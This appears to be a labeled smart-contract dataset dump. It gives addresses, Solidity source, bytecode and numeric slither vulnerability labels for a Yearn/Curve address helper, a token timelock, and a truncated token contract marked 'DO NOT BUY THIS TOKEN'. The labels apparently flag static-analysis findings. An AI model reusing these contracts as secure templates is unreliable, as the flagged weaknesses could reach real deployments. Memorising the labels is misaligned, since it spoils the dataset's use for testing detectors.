address
stringlengths
42
42
source_code
stringlengths
32
1.21M
bytecode
stringlengths
2
49.2k
slither
sequence
0xf30bd1716c5615d17caf244bd68220a1819ac286
// SPDX-License-Identifier: MIT pragma solidity ^0.8.6; interface ICalculationsCurve { function isCurveLpToken(address) external view returns (bool); } interface IV2Vault { function token() external view returns (address); } interface IAddressesGenerator { function assetsAddresses() external view returns (address[] memory); } interface ICurveAddressesProvider { function max_id() external view returns (uint256); function get_registry() external view returns (address); function get_address(uint256) external view returns (address); } interface IGaugeController { function n_gauges() external view returns (uint256); function gauges(uint256) external view returns (address); } interface IMetapoolFactory { function get_underlying_coins(address) external view returns (address[8] memory); } interface IRegistry { function get_pool_from_lp_token(address) external view returns (address); function gauge_controller() external view returns (address); function get_underlying_coins(address) external view returns (address[8] memory); function get_gauges(address) external view returns (address[10] memory); function pool_count() external view returns (uint256); function pool_list(uint256) external view returns (address); function coin_count() external view returns (uint256); function get_coin(uint256) external view returns (address); function get_lp_token(address) external view returns (address); } interface IYearnAddressesProvider { function addressById(string memory) external view returns (address); } contract CurveAddressesHelper { address public yearnAddressesProviderAddress; address public curveAddressesProviderAddress; IYearnAddressesProvider internal yearnAddressesProvider; ICurveAddressesProvider internal curveAddressesProvider; constructor( address _yearnAddressesProviderAddress, address _curveAddressesProviderAddress ) { curveAddressesProviderAddress = _curveAddressesProviderAddress; yearnAddressesProviderAddress = _yearnAddressesProviderAddress; yearnAddressesProvider = IYearnAddressesProvider(_yearnAddressesProviderAddress); curveAddressesProvider = ICurveAddressesProvider(_curveAddressesProviderAddress); } function registryAddress() public view returns (address) { return curveAddressesProvider.get_registry(); } function metapoolFactoryAddress() public view returns (address) { return curveAddressesProvider.get_address(3); } function registry() internal view returns (IRegistry) { return IRegistry(registryAddress()); } function underlyingTokensAddressesFromLpAddress(address lpAddress) public view returns (address[] memory) { address[] memory underlyingTokensAddresses = new address[](16); uint256 currentIdx; address[8] memory registryUnderlyingTokensAddresses = registryTokensAddressesFromLpAddress(lpAddress); address[8] memory metapoolUnderlyingTokensAddresses = metapoolTokensAddressesFromLpAddress(lpAddress); for ( uint256 tokenIdx; tokenIdx < registryUnderlyingTokensAddresses.length; tokenIdx++ ) { address tokenAddress = registryUnderlyingTokensAddresses[tokenIdx]; if (tokenAddress != address(0)) { underlyingTokensAddresses[currentIdx] = tokenAddress; currentIdx++; } } for ( uint256 tokenIdx; tokenIdx < metapoolUnderlyingTokensAddresses.length; tokenIdx++ ) { address tokenAddress = metapoolUnderlyingTokensAddresses[tokenIdx]; if (tokenAddress != address(0)) { underlyingTokensAddresses[currentIdx] = tokenAddress; currentIdx++; } } bytes memory encodedAddresses = abi.encode(underlyingTokensAddresses); assembly { mstore(add(encodedAddresses, 0x40), currentIdx) } address[] memory filteredAddresses = abi.decode(encodedAddresses, (address[])); return filteredAddresses; } function registryTokensAddressesFromLpAddress(address lpAddress) public view returns (address[8] memory) { address[8] memory tokensAddresses = registry().get_underlying_coins(lpAddress); return tokensAddresses; } function metapoolTokensAddressesFromLpAddress(address lpAddress) public view returns (address[8] memory) { address[8] memory tokensAddresses = IMetapoolFactory(metapoolFactoryAddress()).get_underlying_coins( lpAddress ); return tokensAddresses; } function poolAddressFromLpAddress(address lpAddress) public view returns (address) { address[8] memory metapoolTokensAddresses = metapoolTokensAddressesFromLpAddress(lpAddress); for (uint256 tokenIdx; tokenIdx < 8; tokenIdx++) { address tokenAddress = metapoolTokensAddresses[tokenIdx]; if (tokenAddress != address(0)) { return lpAddress; } } return registry().get_pool_from_lp_token(lpAddress); } function gaugeAddressesFromLpAddress(address lpAddress) public view returns (address[] memory) { address poolAddress = poolAddressFromLpAddress(lpAddress); address[] memory gaugeAddresses = gaugeAddressesFromPoolAddress(poolAddress); return gaugeAddresses; } function gaugeAddressesFromPoolAddress(address poolAddress) public view returns (address[] memory) { address[10] memory _gaugesAddresses = registry().get_gauges(poolAddress); address[] memory filteredGaugesAddresses = new address[](10); uint256 numberOfGauges; for (uint256 gaugeIdx; gaugeIdx < _gaugesAddresses.length; gaugeIdx++) { address gaugeAddress = _gaugesAddresses[gaugeIdx]; if (gaugeAddress == address(0)) { break; } filteredGaugesAddresses[gaugeIdx] = gaugeAddress; numberOfGauges++; } bytes memory encodedAddresses = abi.encode(filteredGaugesAddresses); assembly { mstore(add(encodedAddresses, 0x40), numberOfGauges) } filteredGaugesAddresses = abi.decode(encodedAddresses, (address[])); return filteredGaugesAddresses; } function yearnGaugesAddresses() public view returns (address[] memory) { uint256 gaugesLength; address[] memory _yearnPoolsAddresses = yearnPoolsAddresses(); address[] memory _yearnGaugesAddresses = new address[](_yearnPoolsAddresses.length * 8); for ( uint256 poolIdx = 0; poolIdx < _yearnPoolsAddresses.length; poolIdx++ ) { address poolAddress = _yearnPoolsAddresses[poolIdx]; address[] memory _gaugesAddresses = gaugeAddressesFromPoolAddress(poolAddress); for (uint256 gaugeIdx; gaugeIdx < _gaugesAddresses.length; gaugeIdx++) { address gaugeAddress = _gaugesAddresses[gaugeIdx]; _yearnGaugesAddresses[gaugesLength] = gaugeAddress; gaugesLength++; } } bytes memory encodedAddresses = abi.encode(_yearnGaugesAddresses); assembly { mstore(add(encodedAddresses, 0x40), gaugesLength) } address[] memory filteredAddresses = abi.decode(encodedAddresses, (address[])); return filteredAddresses; } function lpsAddresses() external view returns (address[] memory) { address[] memory _poolsAddresses = poolsAddresses(); uint256 numberOfPools = _poolsAddresses.length; address[] memory _lpsAddresses = new address[](numberOfPools); for (uint256 poolIdx; poolIdx < numberOfPools; poolIdx++) { address poolAddress = _poolsAddresses[poolIdx]; _lpsAddresses[poolIdx] = registry().get_lp_token(poolAddress); } return _lpsAddresses; } function gaugesAddresses() external view returns (address[] memory) { IGaugeController gaugeController = IGaugeController(registry().gauge_controller()); uint256 numberOfGauges = gaugeController.n_gauges(); address[] memory _gaugesAddresses = new address[](numberOfGauges); for (uint256 gaugeIdx; gaugeIdx < numberOfGauges; gaugeIdx++) { _gaugesAddresses[gaugeIdx] = gaugeController.gauges(gaugeIdx); } return _gaugesAddresses; } function coinsAddresses() external view returns (address[] memory) { uint256 numberOfCoins = registry().coin_count(); address[] memory _coinsAddresses = new address[](numberOfCoins); for (uint256 coinIdx; coinIdx < numberOfCoins; coinIdx++) { _coinsAddresses[coinIdx] = registry().get_coin(coinIdx); } return _coinsAddresses; } function poolsAddresses() public view returns (address[] memory) { uint256 numberOfPools = registry().pool_count(); address[] memory _poolsAddresses = new address[](numberOfPools); for (uint256 poolIdx; poolIdx < numberOfPools; poolIdx++) { _poolsAddresses[poolIdx] = registry().pool_list(poolIdx); } return _poolsAddresses; } function yearnPoolsAddresses() public view returns (address[] memory) { address[] memory _yearnLpsAddresses = yearnLpsAddresses(); address[] memory _yearnPoolsAddresses = new address[](_yearnLpsAddresses.length); for (uint256 lpIdx = 0; lpIdx < _yearnLpsAddresses.length; lpIdx++) { address lpAddress = _yearnLpsAddresses[lpIdx]; address poolAddress = poolAddressFromLpAddress(lpAddress); _yearnPoolsAddresses[lpIdx] = poolAddress; } return _yearnPoolsAddresses; } function getAddress(string memory _address) public view returns (address) { return yearnAddressesProvider.addressById(_address); } function yearnVaultsAddresses() internal view returns (address[] memory) { address[] memory vaultsAddresses = IAddressesGenerator(getAddress("ADDRESSES_GENERATOR_V2_VAULTS")).assetsAddresses(); uint256 currentIdx = 0; for (uint256 vaultIdx = 0; vaultIdx < vaultsAddresses.length; vaultIdx++) { address vaultAddress = vaultsAddresses[vaultIdx]; bool isCurveLpVault = ICalculationsCurve(getAddress("CALCULATIONS_CURVE")).isCurveLpToken( IV2Vault(vaultAddress).token() ); if (isCurveLpVault) { vaultsAddresses[currentIdx] = vaultAddress; currentIdx++; } } bytes memory encodedVaultsAddresses = abi.encode(vaultsAddresses); assembly { mstore(add(encodedVaultsAddresses, 0x40), currentIdx) } address[] memory filteredVaultsAddresses = abi.decode(encodedVaultsAddresses, (address[])); return filteredVaultsAddresses; } function yearnLpsAddresses() public view returns (address[] memory) { address[] memory _vaultsAddresses = yearnVaultsAddresses(); address[] memory _lpsAddresses = new address[](_vaultsAddresses.length); for (uint256 vaultIdx = 0; vaultIdx < _vaultsAddresses.length; vaultIdx++) { address vaultAddress = _vaultsAddresses[vaultIdx]; IV2Vault vault = IV2Vault(vaultAddress); address lpTokenAddress = vault.token(); _lpsAddresses[vaultIdx] = lpTokenAddress; } return _lpsAddresses; } }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c806375291b3c116100a2578063bf40fac111610071578063bf40fac11461020b578063c42f25d91461021e578063e143aec214610226578063ed9aab5114610239578063f4d6501e1461024157600080fd5b806375291b3c146101e057806393bb7181146101e85780639a116ae5146101fb578063a69e56ca1461020357600080fd5b8063375217ca116100e9578063375217ca146101675780633fc77e521461016f5780635c1719c31461019a5780636881e109146101ad578063732d3b49146101cd57600080fd5b80630892e1b01461011b57806310a98ec61461014457806318af93591461014c578063334925861461015f575b600080fd5b61012e610129366004611521565b610249565b60405161013b9190611838565b60405180910390f35b61012e6103cb565b61012e61015a366004611521565b6105cc565b61012e610762565b61012e6108c9565b61018261017d366004611521565b610a0a565b6040516001600160a01b03909116815260200161013b565b600054610182906001600160a01b031681565b6101c06101bb366004611521565b610af5565b60405161013b91906117fd565b61012e6101db366004611521565b610b83565b61012e610ba5565b600154610182906001600160a01b031681565b61012e610d3d565b610182610e12565b61018261021936600461174f565b610e98565b61012e610f1f565b6101c0610234366004611521565b6110b0565b6101826110c2565b61012e611107565b6060600061025561124a565b6040516356059ffb60e01b81526001600160a01b03858116600483015291909116906356059ffb906024016101406040518083038186803b15801561029957600080fd5b505afa1580156102ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102d1919061155b565b60408051600a80825261016082019092529192506000919060208201610140803683370190505090506000805b600a8110156103825760008482600a811061031b5761031b61195b565b602002015190506001600160a01b0381166103365750610382565b808483815181106103495761034961195b565b6001600160a01b03909216602092830291909101909101528261036b8161192a565b93505050808061037a9061192a565b9150506102fe565b506000826040516020016103969190611838565b6040516020818303038152906040529050816040820152808060200190518101906103c19190611674565b9695505050505050565b606060006103d761124a565b6001600160a01b031663d8b9a0186040518163ffffffff1660e01b815260040160206040518083038186803b15801561040f57600080fd5b505afa158015610423573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610447919061153e565b90506000816001600160a01b031663e93841d06040518163ffffffff1660e01b815260040160206040518083038186803b15801561048457600080fd5b505afa158015610498573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104bc91906117e4565b905060008167ffffffffffffffff8111156104d9576104d9611971565b604051908082528060200260200182016040528015610502578160200160208202803683370190505b50905060005b828110156105c45760405163b053918760e01b8152600481018290526001600160a01b0385169063b05391879060240160206040518083038186803b15801561055057600080fd5b505afa158015610564573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610588919061153e565b82828151811061059a5761059a61195b565b6001600160a01b0390921660209283029190910190910152806105bc8161192a565b915050610508565b509392505050565b604080516010808252610220820190925260609160009190602082016102008036833701905050905060008061060185610af5565b9050600061060e866110b0565b905060005b60088110156106925760008382600881106106305761063061195b565b602002015190506001600160a01b0381161561067f57808686815181106106595761065961195b565b6001600160a01b03909216602092830291909101909101528461067b8161192a565b9550505b508061068a8161192a565b915050610613565b5060005b60088110156107155760008282600881106106b3576106b361195b565b602002015190506001600160a01b0381161561070257808686815181106106dc576106dc61195b565b6001600160a01b0390921660209283029190910190910152846106fe8161192a565b9550505b508061070d8161192a565b915050610696565b506000846040516020016107299190611838565b60405160208183030381529060405290508360408201526000818060200190518101906107569190611674565b98975050505050505050565b606060008061076f610d3d565b9050600081516008610781919061190b565b67ffffffffffffffff81111561079957610799611971565b6040519080825280602002602001820160405280156107c2578160200160208202803683370190505b50905060005b82518110156108885760008382815181106107e5576107e561195b565b6020026020010151905060006107fa82610249565b905060005b815181101561087257600082828151811061081c5761081c61195b565b60200260200101519050808689815181106108395761083961195b565b6001600160a01b03909216602092830291909101909101528761085b8161192a565b98505050808061086a9061192a565b9150506107ff565b50505080806108809061192a565b9150506107c8565b5060008160405160200161089c9190611838565b60405160208183030381529060405290508360408201526000818060200190518101906103c19190611674565b606060006108d5610f1f565b805190915060008167ffffffffffffffff8111156108f5576108f5611971565b60405190808252806020026020018201604052801561091e578160200160208202803683370190505b50905060005b828110156105c45760008482815181106109405761094061195b565b6020026020010151905061095261124a565b604051633795104960e01b81526001600160a01b038381166004830152919091169063379510499060240160206040518083038186803b15801561099557600080fd5b505afa1580156109a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cd919061153e565b8383815181106109df576109df61195b565b6001600160a01b03909216602092830291909101909101525080610a028161192a565b915050610924565b600080610a16836110b0565b905060005b6008811015610a6a576000828260088110610a3857610a3861195b565b602002015190506001600160a01b03811615610a575750929392505050565b5080610a628161192a565b915050610a1b565b50610a7361124a565b60405163bdf475c360e01b81526001600160a01b038581166004830152919091169063bdf475c39060240160206040518083038186803b158015610ab657600080fd5b505afa158015610aca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aee919061153e565b9392505050565b610afd611502565b6000610b0761124a565b60405163a77576ef60e01b81526001600160a01b038581166004830152919091169063a77576ef906024016101006040518083038186803b158015610b4b57600080fd5b505afa158015610b5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aee91906115ed565b60606000610b9083610a0a565b90506000610b9d82610249565b949350505050565b60606000610bb161124a565b6001600160a01b0316635075770f6040518163ffffffff1660e01b815260040160206040518083038186803b158015610be957600080fd5b505afa158015610bfd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c2191906117e4565b905060008167ffffffffffffffff811115610c3e57610c3e611971565b604051908082528060200260200182016040528015610c67578160200160208202803683370190505b50905060005b82811015610d3657610c7d61124a565b6001600160a01b03166345f0db24826040518263ffffffff1660e01b8152600401610caa91815260200190565b60206040518083038186803b158015610cc257600080fd5b505afa158015610cd6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cfa919061153e565b828281518110610d0c57610d0c61195b565b6001600160a01b039092166020928302919091019091015280610d2e8161192a565b915050610c6d565b5092915050565b60606000610d49611107565b90506000815167ffffffffffffffff811115610d6757610d67611971565b604051908082528060200260200182016040528015610d90578160200160208202803683370190505b50905060005b8251811015610d36576000838281518110610db357610db361195b565b602002602001015190506000610dc882610a0a565b905080848481518110610ddd57610ddd61195b565b60200260200101906001600160a01b031690816001600160a01b03168152505050508080610e0a9061192a565b915050610d96565b6003805460405163124fd3dd60e21b815260048101929092526000916001600160a01b039091169063493f4f749060240160206040518083038186803b158015610e5b57600080fd5b505afa158015610e6f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e93919061153e565b905090565b600254604051632a129ad160e11b81526000916001600160a01b03169063542535a290610ec9908590600401611885565b60206040518083038186803b158015610ee157600080fd5b505afa158015610ef5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f19919061153e565b92915050565b60606000610f2b61124a565b6001600160a01b031663956aae3a6040518163ffffffff1660e01b815260040160206040518083038186803b158015610f6357600080fd5b505afa158015610f77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9b91906117e4565b905060008167ffffffffffffffff811115610fb857610fb8611971565b604051908082528060200260200182016040528015610fe1578160200160208202803683370190505b50905060005b82811015610d3657610ff761124a565b6001600160a01b0316633a1d5d8e826040518263ffffffff1660e01b815260040161102491815260200190565b60206040518083038186803b15801561103c57600080fd5b505afa158015611050573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611074919061153e565b8282815181106110865761108661195b565b6001600160a01b0390921660209283029190910190910152806110a88161192a565b915050610fe7565b6110b8611502565b6000610b07610e12565b6003546040805163a262904b60e01b815290516000926001600160a01b03169163a262904b916004808301926020929190829003018186803b158015610e5b57600080fd5b60606000611113611254565b90506000815167ffffffffffffffff81111561113157611131611971565b60405190808252806020026020018201604052801561115a578160200160208202803683370190505b50905060005b8251811015610d3657600083828151811061117d5761117d61195b565b6020026020010151905060008190506000816001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c757600080fd5b505afa1580156111db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ff919061153e565b9050808585815181106112145761121461195b565b60200260200101906001600160a01b031690816001600160a01b03168152505050505080806112429061192a565b915050611160565b6000610e936110c2565b606060006112966040518060400160405280601d81526020017f4144445245535345535f47454e455241544f525f56325f5641554c5453000000815250610e98565b6001600160a01b031663a31091c76040518163ffffffff1660e01b815260040160006040518083038186803b1580156112ce57600080fd5b505afa1580156112e2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261130a9190810190611674565b90506000805b82518110156114b857600083828151811061132d5761132d61195b565b60200260200101519050600061136c6040518060400160405280601281526020017143414c43554c4154494f4e535f435552564560701b815250610e98565b6001600160a01b031663c4e6c3ac836001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156113b357600080fd5b505afa1580156113c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113eb919061153e565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b15801561142a57600080fd5b505afa15801561143e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611462919061172d565b905080156114a3578185858151811061147d5761147d61195b565b6001600160a01b03909216602092830291909101909101528361149f8161192a565b9450505b505080806114b09061192a565b915050611310565b506000826040516020016114cc9190611838565b60405160208183030381529060405290508160408201526000818060200190518101906114f99190611674565b95945050505050565b6040518061010001604052806008906020820280368337509192915050565b60006020828403121561153357600080fd5b8135610aee81611987565b60006020828403121561155057600080fd5b8151610aee81611987565b600061014080838503121561156f57600080fd5b83601f84011261157e57600080fd5b60405181810181811067ffffffffffffffff821117156115a0576115a0611971565b60405280848381018710156115b457600080fd5b600093505b600a8410156115e25780516115cd81611987565b825260019390930192602091820191016115b9565b509095945050505050565b600061010080838503121561160157600080fd5b83601f84011261161057600080fd5b60405181810181811067ffffffffffffffff8211171561163257611632611971565b604052808483810187101561164657600080fd5b600093505b60088410156115e257805161165f81611987565b8252600193909301926020918201910161164b565b6000602080838503121561168757600080fd5b825167ffffffffffffffff8082111561169f57600080fd5b818501915085601f8301126116b357600080fd5b8151818111156116c5576116c5611971565b8060051b91506116d68483016118da565b8181528481019084860184860187018a10156116f157600080fd5b600095505b83861015611720578051945061170b85611987565b848352600195909501949186019186016116f6565b5098975050505050505050565b60006020828403121561173f57600080fd5b81518015158114610aee57600080fd5b6000602080838503121561176257600080fd5b823567ffffffffffffffff8082111561177a57600080fd5b818501915085601f83011261178e57600080fd5b8135818111156117a0576117a0611971565b6117b2601f8201601f191685016118da565b915080825286848285010111156117c857600080fd5b8084840185840137600090820190930192909252509392505050565b6000602082840312156117f657600080fd5b5051919050565b6101008101818360005b600881101561182f5781516001600160a01b0316835260209283019290910190600101611807565b50505092915050565b6020808252825182820181905260009190848201906040850190845b818110156118795783516001600160a01b031683529284019291840191600101611854565b50909695505050505050565b600060208083528351808285015260005b818110156118b257858101830151858201604001528201611896565b818111156118c4576000604083870101525b50601f01601f1916929092016040019392505050565b604051601f8201601f1916810167ffffffffffffffff8111828210171561190357611903611971565b604052919050565b600081600019048311821515161561192557611925611945565b500290565b600060001982141561193e5761193e611945565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461199c57600080fd5b5056fea2646970667358221220dd1d2d02cf9049d1e5e3d6bee77b3f85dfe178df45756d12571edfc09e44091f64736f6c63430008060033
[ 12 ]
0xf30c9e4b1d230d833bc757cab14df053b2e25cd0
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30067200; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x1ec13d1551159C085A41e140B72290b0199f293E; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a7230582019665bd78f20b063fd5f93125f225e885cb403b16c40ef90d5307a61eaaf71cc0029
[ 16, 7 ]
0xf30ce6cbbb269aeaf7a180b971d47c23223cd551
pragma solidity >=0.6.6; ///DO NOT BUY THIS TOKEN/// ///DO NOT BUY THIS TOKEN/// ///DO NOT BUY THIS TOKEN/// abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit 